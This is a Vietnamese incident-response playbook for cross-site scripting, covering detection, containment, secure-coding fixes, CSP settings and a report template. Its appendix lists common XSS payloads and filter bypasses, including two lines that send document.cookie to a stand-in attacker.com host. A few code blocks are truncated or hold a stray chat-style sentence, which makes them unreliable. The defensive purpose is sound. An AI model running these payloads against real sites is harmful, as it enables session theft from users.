PLAYBOOK XỬ LÝ TẤN CÔNG XSS (CROSS-SITE SCRIPTING)

TÀI LIỆU HƯỚNG DẪN ỨNG PHÓ SỰ CỐ BẢO MẬT

Phiên bản: 1.0
Ngày cập nhật: `DD/MM/YYYY`
Phân loại: Nội bộ / Công khai

MỤC LỤC

PHẦN I: PLAYBOOK XỬ LÝ TẤN CÔNG XSS

1. Tổng quan Playbook
2. Phân loại sự cố
3. Các giai đoạn xử lý
    - 3.1 Chuẩn bị
    - 3.2 Phát hiện & Phân tích
    - 3.3 Ngăn chặn
    - 3.4 Loại bỏ
    - 3.5 Phục hồi
    - 3.6 Bài học kinh nghiệm
4. Công cụ tham khảo
5. Chỉ số đánh giá (KPI)

PHẦN II: PHỤ LỤC

6. Phụ lục A: Mẫu báo cáo sự cố XSS
7. Phụ lục B: Checklist xử lý XSS
8. Phụ lục C: Payload XSS thường gặp
9. Phụ lục D: Mã nguồn mẫu an toàn

PHẦN I: PLAYBOOK XỬ LÝ TẤN CÔNG XSS

---

1. TỔNG QUAN PLAYBOOK

1.1 Mục đích

Playbook này cung cấp quy trình chuẩn hóa để phát hiện, phân tích, ngăn chặn và phục hồi từ các cuộc tấn công **Cross-Site Scripting (XSS)** nhắm vào ứng dụng web, áp dụng cho mọi môi trường và cấu hình web server.

1.2 Phạm vi áp dụng

- **Đối tượng:** SOC Analyst, Security Engineer, Incident Responder, Developer
- **Hệ thống:** Mọi web application (bất kỳ web server, framework nào)

- **Loại tấn công:** Reflected XSS, Stored XSS, DOM-based XSS

1.3 Kịch bản tấn công

Kẻ tấn công chèn mã JavaScript độc hại vào ứng dụng web thông qua các input không được kiểm soát. Mã độc thực thi trên trình duyệt nạn nhân nhằm:

- Đánh cắp cookie phiên (Session Hijacking)
- Giả mạo yêu cầu (CSRF)
- Đánh cắp dữ liệu nhạy cảm (LocalStorage, SessionStorage)
- Ghi lại thao tác bàn phím (Keylogging)
- Chuyển hướng đến website độc hại (Phishing)
- Thực thi hành động trái phép thay mặt người dùng

⬆ Về đầu trang

---

2. PHÂN LOẠI SỰ CỐ

2.1 Ma trận phân loại

Tiêu chí	Phân loại
Loại sự cố	Tấn công tầng ứng dụng (Client-side Attack)
Mức độ nghiêm trọng	☐ Thấp ☐ Trung bình ☐ Cao ☐ Nghiêm trọng
Ưu tiên xử lý	☐ Thấp ☐ Trung bình ☐ Cao ☐ Khẩn cấp

2.2 Mức độ theo tác động thực tế

Mức độ	Tiêu chí	Ví dụ
Thấp	XSS bị WAF chặn, không ảnh hưởng người dùng thực tế	WAF ghi nhận reflected XSS thử nghiệm từ scanner
Trung bình	Reflected XSS ảnh hưởng một số người dùng, chưa phát hiện đánh cắp dữ liệu	Pop-up alert trên trang tìm kiếm, không có payload nguy hiểm
Cao	Stored XSS trong CSDL, ảnh hưởng nhiều người dùng, có nguy cơ đánh cắp session	Comment chứa script gửi cookie về server attacker
Nghiêm trọng	XSS dẫn đến chiếm quyền admin, lộ dữ liệu nhạy cảm (PII, tài chính)	XSS trong admin panel, đánh cắp session admin, truy cập trái phép database

2.3 Nguồn phát hiện

Nguồn	Dấu hiệu
WAF	Cảnh báo XSS payload trong request (ví dụ: rule 942100 - SQL Injection, rule 941100 - XSS)
SIEM	Phát hiện pattern XSS trong log tập trung, correlation rules phát hiện tấn công
Web Server Logs	Phát hiện thẻ `<script>`, `javascript:`, `onerror=`, `alert(` trong request
User Report	Người dùng báo cáo pop-up lạ, trang web hiển thị bất thường, redirect bất thường

Nguồn	Dấu hiệu
Vulnerability Scanner	Quét định kỳ phát hiện lỗ hổng XSS (OWASP ZAP, Burp Suite, Nessus)
IDS/IPS	Cảnh báo từ hệ thống phát hiện xâm nhập

⬆ Về đầu trang

---

3. CÁC GIAI ĐOẠN XỬ LÝ

3.1 Chuẩn bị

3.1.1 Cấu hình phòng ngừa cơ bản

Hạng mục	Mô tả	Hướng dẫn chung
WAF	Triển khai WAF với rule chống XSS	Bật OWASP Core Rule Set (CRS), tùy chỉnh theo ứng dụng
CSP Header	Thiết lập Content-Security-Policy	`Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';`
HttpOnly Cookie	Ngăn JavaScript truy cập cookie	Set flag `HttpOnly=true` và `Secure=true` cho tất cả cookie session
X-XSS-Protection	Kích hoạt bảo vệ của trình duyệt	`X-XSS-Protection: 1; mode=block`
X-Content-Type-Options	Ngăn MIME sniffing	`X-Content-Type-Options: nosniff`
Output Encoding	Mã hóa dữ liệu đầu ra theo ngữ cảnh	Sử dụng thư viện chuẩn của framework (Twig, Blade, Thymeleaf, JSP)
Input Validation	Kiểm tra dữ liệu đầu vào	Validate theo whitelist, không dùng blacklist

3.1.2 Tích hợp bảo mật vào SDLC

Hạng mục	Mô tả
SAST	Tích hợp kiểm thử tĩnh vào CI/CD (SonarQube, Checkmarx, Fortify)
DAST	Quét động định kỳ (OWASP ZAP, Burp Suite)
Code Review	Kiểm tra mã nguồn định kỳ về lỗ hổng XSS
Security Training	Đào tạo developer về phòng chống XSS (OWASP Top 10)

3.1.3 Chuẩn bị công cụ và quyền truy cập

- [ ] Truy cập WAF console
- [ ] Truy cập SIEM để tra cứu log
- [ ] Truy cập server logs (SSH, RDP)
- [ ] Truy cập database (nếu cần xóa dữ liệu độc hại)
- [ ] Công cụ phân tích payload (CyberChef, Burp Suite)
- [ ] Môi trường test để kiểm tra bản vá

3.2 Phát hiện & Phân tích

3.2.1 Phát hiện ban đầu

Bước	Hành động	Dấu hiệu
1	Kiểm tra cảnh báo từ WAF/SIEM	Cảnh báo XSS, payload lạ, tần suất cao từ một IP
2	Rà soát web server logs	Phát hiện `<script>`, `javascript:`, `onerror=`, `alert(` trong request
3	Kiểm tra CSDL (nếu nghi ngờ Stored XSS)	Tìm dữ liệu chứa thẻ `<script>` trong bảng comments, posts, user profiles
4	Xác minh từ báo cáo người dùng	Pop-up lạ, trang web hiển thị sai, tự động redirect
5	Kiểm tra Google Search Console	Cảnh báo website bị nhiễm mã độc

3.2.2 Phân loại XSS

Loại XSS	Đặc điểm	Cách xác định
Reflected XSS	Payload trong URL/request, không lưu trữ, phản hồi ngay lập tức	Gửi payload vào tham số, kiểm tra response trả về có chứa payload không
Stored XSS	Payload lưu trong CSDL, hiển thị cho nhiều user, kích hoạt khi truy cập trang	Tìm script trong CSDL, kiểm tra trang có nhiều user truy cập (forum, comment)
DOM-based XSS	Payload xử lý trong JavaScript client, không xuất hiện trong HTML response	Kiểm tra JavaScript xử lý dữ liệu từ URL/hash, dùng debugger để theo dõi

3.2.3 Phân tích payload

Nội dung	Hành động
Giải mã payload	Decode URL-encoded, base64 payload để hiểu mục đích
Xác định mục tiêu	Payload nhắm vào cookie? localStorage? keylogging? redirect?
Xác định phạm vi ảnh hưởng	Bao nhiêu user đã truy cập? Dữ liệu nào bị ảnh hưởng? Có dấu hiệu exfiltration không?
Xác định nguồn gốc	IP tấn công, User-Agent, thời gian tấn công

3.2.4 Thu thập bằng chứng

- [ ] Lưu log request đầy đủ (bao gồm headers, body)
- [ ] Chụp màn hình cảnh báo từ WAF/SIEM
- [ ] Lưu mẫu payload đã giải mã
- [ ] Ghi lại thời gian phát hiện, IP tấn công, endpoint bị ảnh hưởng
- [ ] Lưu HTTP response chứa XSS (nếu có)

3.3 Ngăn chặn

3.3.1 Các bước ngăn chặn khẩn cấp

Bước	Hành động	Mô tả
1	**Chặn IP tấn công**	Sử dụng firewall hoặc WAF để chặn IP nguồn (tạm thời)
2	**Kích hoạt WAF blocking mode**	Chuyển WAF từ Detection sang Blocking nếu đang ở mode log-only

Bước	Hành động	Mô tả
3	**Rate limiting**	Giới hạn số request từ một IP đến endpoint bị ảnh hưởng
4	**Xóa nội dung độc hại (Stored XSS)**	Xóa hoặc escape script trong CSDL ngay lập tức
5	**Vô hiệu hóa tạm thời chức năng**	Tắt chức năng bị khai thác (comment, search, upload) nếu không thể vá ngay
6	**Thu hồi session (nếu cần)**	Force logout tất cả user nếu nghi ngờ cookie bị đánh cắp

3.3.2 Hướng dẫn cụ thể

Chặn IP bằng iptables (Linux):

```
# Chặn một IP
iptables -A INPUT -s 185.220.101.45 -j DROP

# Chặn một dải IP
iptables -A INPUT -s 185.220.101.0/24 -j DROP

# Lưu cấu hình
iptables-save > /etc/iptables/rules.v4
Bạn chỉ cần dán vào vị trí phù hợp, không cần viết lại toàn bộ file.
```

Chặn IP bằng Windows Firewall (PowerShell):

```
New-NetFirewallRule -DisplayName "Block XSS Attack IP" -Direction Inbound -RemoteAddress 185.220.101.45 -Action Blo
```

Chặn IP bằng Cloudflare WAF (API):

```
curl -X POST "https://api.cloudflare.com/client/v4/zones/ZONE_ID/firewall/access_rules/rules" \
     -H "Authorization: Bearer TOKEN" \
     -H "Content-Type: application/json" \
     --data '{"mode":"block","configuration":{"target":"ip","value":"185.220.101.45"},"notes":"XSS attack"}'
```

Xóa Stored XSS trong CSDL:

```
-- Tìm bản ghi độc hại
SELECT id, content FROM comments WHERE content LIKE '%<script>%' OR content LIKE '%javascript:%';

-- Xóa bản ghi độc hại (nếu không cần giữ)
DELETE FROM comments WHERE id IN (123, 456, 789);

-- Hoặc escape thay vì xóa (giữ nội dung nhưng vô hiệu hóa script)
UPDATE comments
SET content = REPLACE(REPLACE(content, '<', '&lt;'), '>', '&gt;')
WHERE content LIKE '%<script>%' OR content LIKE '%javascript:%';
```

3.4 Loại bỏ

3.4.1 Xác định nguyên nhân gốc rễ

Nguyên nhân	Mô tả	Cách khắc phục
Thiếu output encoding	Hiển thị dữ liệu đầu vào trực tiếp ra HTML	Thêm encoding phù hợp theo context (HTML, attribute, JavaScript, CSS, URL)
Sử dụng innerHTML/eval	JavaScript xử lý không an toàn	Dùng `textContent`, `innerText`, hoặc sanitize input với DOMPurify

Nguyên nhân	Mô tả	Cách khắc phục
CSP lỏng lẻo	Thiếu CSP hoặc cho phép `'unsafe-inline'`	Cấu hình CSP chặt chẽ, loại bỏ `'unsafe-inline'`
Input validation thiếu	Không kiểm tra dữ liệu đầu vào	Thêm validation theo whitelist, không dùng blacklist
Template engine sai cách	Dùng `|safe` hoặc `{! !}` không đúng chỗ	Loại bỏ auto-escaping chỉ khi thực sự cần, kiểm tra kỹ
Thư viện cũ	Dùng thư viện JavaScript có lỗ hổng XSS	Cập nhật phiên bản mới nhất

3.4.2 Sửa lỗi theo ngôn ngữ/framework

PHP:

```php
// Không an toàn
echo $_GET['search'];

// An toàn - HTML context
echo htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');

// An toàn - HTML attribute
echo 'value="' . htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8') . '"';
```

Java/JSP:

```jsp
<%-- Không an toàn --%>
${param.search}

<%-- An toàn --%>
${fn:escapeXml(param.search)}
```

C# [ASP.NET](#):

```razor
// Không an toàn
<%= Request.QueryString["search"] %>

// An toàn (Razor)
@HttpUtility.HtmlEncode(Request.QueryString["search"])
```

Python/Django:

```python
# Django tự động escape trong template, nhưng cần cẩn thận với |safe
# Không an toàn
{{ search|safe }}

# An toàn (mặc định)
{{ search }}
```

JavaScript (DOM-based XSS):

```javascript
// Không an toàn
element.innerHTML = userInput;

// An toàn - dùng textContent
element.textContent = userInput;

// An toàn - dùng DOMPurify nếu cần giữ HTML an toàn
element.innerHTML = DOMPurify.sanitize(userInput);
```

```
// Không an toàn
eval(userInput);
setTimeout(userInput);
setInterval(userInput);

// An toàn - tránh eval
// Thay bằng logic an toàn
```

React:

```
// React tự động escape, nhưng cần cẩn thận với dangerouslySetInnerHTML
// Không an toàn
<div dangerouslySetInnerHTML={{__html: userInput}} />

// An toàn (mặc định)
<div>{userInput}</div>
```

3.4.3 Cấu hình CSP hiệu quả

```
# CSP cơ bản (chỉ cho phép script từ cùng nguồn)
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

# CSP nâng cao (cho phép script từ domain tin cậy)
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; style-src 'self' https://tr

# CSP với nonce (cho phép script inline cụ thể)
Content-Security-Policy: script-src 'nonce-r@nd0m'; object-src 'none';
```

3.4.4 Kiểm tra lại

- [ ] Chạy lại vulnerability scanner (OWASP ZAP, Burp Suite)
- [ ] Kiểm tra thủ công các chức năng đã sửa với payload phổ biến
- [ ] Xác nhận không còn XSS trong ứng dụng
- [ ] Kiểm tra CSP header đã được áp dụng
- [ ] Kiểm tra HttpOnly flag trên cookie

3.5 Phục hồi

3.5.1 Các bước phục hồi

Bước	Hành động	Mô tả
1	**Xác nhận bản vá đã hoạt động**	Test lại lỗ hổng, đảm bảo không thể khai thác
2	**Khôi phục chức năng**	Bật lại các chức năng đã tạm ngưng (nếu có)
3	**Gỡ chặn IP (nếu là chặn tạm thời)**	Bỏ chặn IP nếu không còn tấn công và IP là legit
4	**Đưa ứng dụng online hoàn toàn**	Cho phép truy cập bình thường
5	**Giám sát tăng cường**	Theo dõi log, WAF, phản hồi người dùng trong 24–48h

3.5.2 Kiểm tra sau phục hồi

- [ ] Web server hoạt động bình thường, không có lỗi 500
- [ ] Không còn cảnh báo XSS từ WAF (hoặc giảm đáng kể)
- [ ] Người dùng không báo cáo bất thường
- [ ] Log không ghi nhận tấn công tiếp diễn
- [ ] Database không còn dữ liệu độc hại mới

3.6 Bài học kinh nghiệm

3.6.1 Nội dung cần phân tích

Nội dung	Mô tả
Nguyên nhân gốc rễ	Tại sao lỗ hổng tồn tại? Lỗi do code, quy trình, hay thiếu công cụ?
Phát hiện	Đã phát hiện kịp thời chưa? Có thể cải thiện detection?
Phản hồi	Các bước xử lý đã đúng và đủ chưa? Thời gian xử lý có đạt KPI?
Cải tiến	Cần thay đổi gì để ngăn chặn tái diễn?

3.6.2 Hành động sau sự cố

- [ ] Cập nhật WAF rules với pattern mới phát hiện
- [ ] Cập nhật secure coding guidelines
- [ ] Tổ chức training cho team phát triển về XSS prevention
- [ ] Cập nhật playbook dựa trên kinh nghiệm thực tế
- [ ] Thêm test case cho lỗ hổng này vào bộ kiểm thử tự động
- [ ] Rà soát codebase để tìm pattern tương tự

⬆ Về đầu trang

---

4. CÔNG CỤ THAM KHẢO

4.1 Công cụ phát hiện và phòng ngừa

Công cụ	Mục đích
WAF (ModSecurity, Cloudflare, AWS WAF, F5)	Chặn XSS ở tầng ứng dụng
SIEM (Splunk, ELK Stack, IBM QRadar, Microsoft Sentinel)	Phân tích log tập trung, phát hiện tấn công
Vulnerability Scanner (Nessus, Qualys, OWASP ZAP, Acunetix)	Quét lỗ hổng định kỳ
SAST (SonarQube, Checkmarx, Fortify, Veracode)	Phát hiện XSS trong mã nguồn
DAST (Burp Suite, OWASP ZAP, AppScan)	Kiểm thử động phát hiện XSS
Browser DevTools	Debug và phân tích DOM-based XSS
CyberChef	Giải mã payload

4.2 Tài liệu tham khảo

- OWASP XSS Prevention Cheat Sheet
- OWASP XSS Filter Evasion Cheat Sheet
- OWASP DOM-based XSS Prevention Cheat Sheet
- OWASP Testing Guide (XSS Testing)
- CISA XSS Guidance
- PortSwigger XSS Cheat Sheet

⬆ Về đầu trang

---

5. CHỈ SỐ ĐÁNH GIÁ (KPI)

5.1 Chỉ số chính

Chỉ số	Mục tiêu	Mô tả
Thời gian phát hiện (MTTD)	< 15 phút	Mean Time to Detect - từ khi tấn công bắt đầu đến khi phát hiện
Thời gian phản hồi (MTTR)	< 60 phút	Mean Time to Respond - từ khi phát hiện đến khi ngăn chặn thành công
Thời gian vá lỗ hổng	< 24 giờ (Critical) / < 7 ngày (High)	Thời gian deploy bản vá lên production
Thời gian kiểm tra lại	< 48 giờ sau vá	Xác nhận lỗ hổng đã được khắc phục

5.2 Chỉ số bổ sung

Chỉ số	Mô tả
Số lượng IP tấn công	Đo lường quy mô tấn công
Số lượng user bị ảnh hưởng	Đánh giá tác động thực tế đến người dùng
Số bản ghi dữ liệu bị ảnh hưởng	Đánh giá mức độ lộ lọt dữ liệu
Thời gian downtime	Nếu có ảnh hưởng availability (tính bằng phút)
Số lần tái phát	Số lần lỗ hổng tương tự xuất hiện lại sau khi vá

↑ Về đầu trang

PHẦN II: PHỤ LỤC

PHỤ LỤC A: MẪU BÁO CÁO SỰ CỐ XSS

1. Thông tin chung

Thuộc tính	Nội dung
Mã sự cố	XSS-YYYY-MM-XXX *(Ví dụ: XSS-2024-10-001)*
Ngày phát hiện	DD/MM/YYYY HH:MM
Người phát hiện	Tên người / Hệ thống (WAF, SIEM, User report)
Mức độ nghiêm trọng	Thấp / Trung bình / Cao / Nghiêm trọng
Trạng thái	Đang xử lý / Đã khắc phục / Đóng
Người xử lý	Tên người / Team

2. Mô tả sự cố

Mô tả chi tiết ngữ cảnh của sự cố Cross-Site Scripting (XSS) vừa phát hiện.

- **Endpoint hoặc chức năng bị ảnh hưởng:** Đường dẫn URL đầy đủ hoặc tên chức năng.
- **Cách thức tấn công:** Mô tả payload đã được gửi vào hệ thống qua tham số nào (GET, POST).
- **Dấu hiệu phát hiện:** Mô tả ngắn gọn cảnh báo từ log, WAF, hoặc phản hồi bất thường từ ứng dụng.

> **Ví dụ:** Một request chứa mã độc được ghi nhận từ hệ thống WAF. Payload `"><script>alert('XSS')</script>` đã được gửi lên tham số `q` của endpoint tìm kiếm `/search`. Hệ thống phản hồi với mã nguồn HTML chứa nguyên vẹn payload này mà không được mã hóa, xác nhận lỗ hổng Reflected XSS.

3. Phân tích kỹ thuật

Thuộc tính	Nội dung
Loại XSS	Reflected / Stored / DOM-based
Payload phát hiện	`<script>alert(document.cookie)</script>`
Payload đã giải mã	`alert(document.cookie)`
IP nguồn tấn công	Danh sách địa chỉ IP nghi ngờ
User-Agent	Chuỗi User-Agent đặc trưng của kẻ tấn công
Thời gian tấn công	DD/MM/YYYY HH:MM - HH:MM
Tần suất	Số request/phút
Phạm vi ảnh hưởng	Số lượng người dùng có thể bị ảnh hưởng; tổng số request độc hại đã ghi nhận; loại dữ liệu có thể bị đánh cắp (Cookie, Session, PII)

4. Hành động ứng phó đã thực hiện

1. **Ngăn chặn tức thời:** Chặn IP tấn công trên WAF/Firewall lúc HH:MM.
2. **Thu thập chứng cứ:** Trích xuất log từ Web Server, WAF, và SIEM.
3. **Xử lý dữ liệu:** *(Stored XSS)* Xóa/mã hóa dữ liệu độc hại trong CSDL lúc HH:MM.
4. **Xác minh & vá lỗi:** Xác định nguyên nhân (thiếu output encoding) và triển khai bản vá lúc HH:MM.
5. **Kiểm tra lại:** Chạy lại scanner và test thủ công, xác nhận đã fix lúc HH:MM.
6. **Theo dõi:** Giám sát chặt chẽ trong 24 giờ tiếp theo.

5. Timeline xử lý sự cố

Giai đoạn	Thời gian	Ghi chú
Phát hiện	HH:MM DD/MM	Cảnh báo từ WAF rule 941100
Phân tích	HH:MM DD/MM	Xác nhận Reflected XSS, payload đánh cắp cookie
Ngăn chặn	HH:MM DD/MM	Chặn IP 185.220.101.45 trên Cloudflare WAF
Khắc phục	HH:MM DD/MM	Triển khai bản vá (thêm `htmlspecialchars`) lên production
Phục hồi	HH:MM DD/MM	Hệ thống hoạt động bình thường, kết thúc giám sát đặc biệt

6. Bài học kinh nghiệm

- **Lập trình:** Endpoint `/search` chưa áp dụng output encoding cho tham số `q`.
- **Kiểm thử:** Quy trình kiểm thử bảo mật chưa bao phủ hết các chức năng search.
- **Quy trình:** Chưa có bước kiểm tra bảo mật (SAST) trong CI/CD.

7. Kiến nghị cải tiến

Kỹ thuật:

- Áp dụng CSP nghiêm ngặt cho toàn bộ ứng dụng.
- Rà soát tất cả endpoint có output user input.
- Cập nhật WAF rules với pattern mới.

Quy trình:

- Tích hợp SAST (SonarQube) vào CI/CD.
- Thêm test case XSS vào bộ kiểm thử tự động.
- Đào tạo secure coding cho developer.

8. Phụ lục kỹ thuật

Log mẫu từ Web Server:

```
192.168.1.10 - - [12/Oct/2024:14:35:22 +0000] "GET /search?q=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E HTTP/1.1" 20
185.220.101.45 - - [12/Oct/2024:14:36:10 +0000] "GET /search?q=%22%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1" 20
```

HTTP Request mẫu:

```
GET /search?q=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

HTTP Response mẫu:

```
HTTP/1.1 200 OK
Content-Type: text/html

<html>
<body>
    <h1>Kết quả tìm kiếm cho: <script>alert(document.cookie)</script></h1>
</body>
</html>
```

PHỤ LỤC B: CHECKLIST XỬ LÝ XSS

Giai đoạn phát hiện

- [ ] Xác nhận cảnh báo từ WAF/SIEM
- [ ] Xác định endpoint bị ảnh hưởng
- [ ] Xác định loại XSS (Reflected/Stored/DOM-based)
- [ ] Thu thập log và payload
- [ ] Xác định IP tấn công và phạm vi ảnh hưởng

Giai đoạn ngăn chặn

- [ ] Chặn IP tấn công trên WAF/Firewall
- [ ] Kích hoạt WAF blocking mode
- [ ] Xóa/escape dữ liệu độc hại (Stored XSS)
- [ ] Vô hiệu hóa tạm thời chức năng (nếu cần)
- [ ] Thu hồi session (nếu nghiêm trọng)

Giai đoạn loại bỏ

- [ ] Xác định nguyên nhân gốc rễ
- [ ] Viết và test bản vá
- [ ] Triển khai bản vá lên production
- [ ] Kiểm tra lại lỗ hổng

Giai đoạn phục hồi

- [ ] Khôi phục chức năng
- [ ] Gỡ chặn IP (nếu cần)
- [ ] Giám sát tăng cường 24-48h
- [ ] Xác nhận không có tấn công tiếp diễn

Sau sự cố

- [ ] Viết báo cáo sự cố (theo mẫu Phụ lục A)
- [ ] Tổ chức họp rút kinh nghiệm
- [ ] Cập nhật WAF rules
- [ ] Cập nhật secure coding guidelines
- [ ] Cập nhật playbook
- [ ] Đào tạo team (nếu cần)

PHỤ LỤC C: PAYLOAD XSS THƯỜNG GẶP

Cơ bản

```
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
<script>alert(1)</script>
```

HTML attribute

```
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<svg onload=alert(1)>
<iframe onload=alert(1)></iframe>
```

JavaScript events

```
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
```

```
<iframe src="javascript:alert(1)">
```

Bypass filter

```
<scr<script>ipt>alert(1)</scr</script>ipt>
<ScRiPt>alert(1)</ScRiPt>
%3Cscript%3Ealert(1)%3C/script%3E
javascript:alert(1)
JaVaScRiPt:alert(1)
```

DOM-based

```
#javascript:alert(1)
javascript:alert(document.cookie)
```

Đánh cắp cookie

```
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie</script>
```

PHỤ LỤC D: MÃ NGUỒN MẪU AN TOÀN

PHP - Output encoding

```php
<?php
// An toàn cho HTML context
function escapeHtml($data) {
    return htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
}

// An toàn cho JavaScript context
function escapeJs($data) {
    return json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
}

// Sử dụng
echo escapeHtml($_GET['search']);
?>
```

JavaScript - Sanitize

```javascript
// Sử dụng DOMPurify (cần thêm thư viện)
function safeHtml(unsafe) {
    return DOMPurify.sanitize(unsafe);
}

// An toàn cho text content
function safeText(unsafe) {
    return document.createTextNode(unsafe).textContent;
}

// Sử dụng
element.textContent = safeText(userInput);
element.innerHTML = safeHtml(userInput); // Chỉ khi cần HTML
```

Java - Output encoding

```java
import org.owasp.encoder.Encode;

// HTML context
String safe = Encode.forHtml(request.getParameter("search"));

// HTML attribute
String safe = Encode.forHtmlAttribute(request.getParameter("value"));

// JavaScript context
String safe = Encode.forJavaScript(request.getParameter("data"));
```

Python/Flask - Template an toàn

```jinja
<!-- Jinja2 tự động escape, nhưng cần cẩn thận -->
<!-- An toàn (mặc định) -->
{{ search }}

<!-- KHÔNG an toàn - chỉ dùng khi thực sự cần và đã sanitize -->
{{ search|safe }}
```

⬆ Về đầu trang

Tài liệu này được cập nhật lần cuối: Ngày DD/MM/YYYY
Mọi thắc mắc hoặc góp ý vui lòng liên hệ: SOC Team / Security Team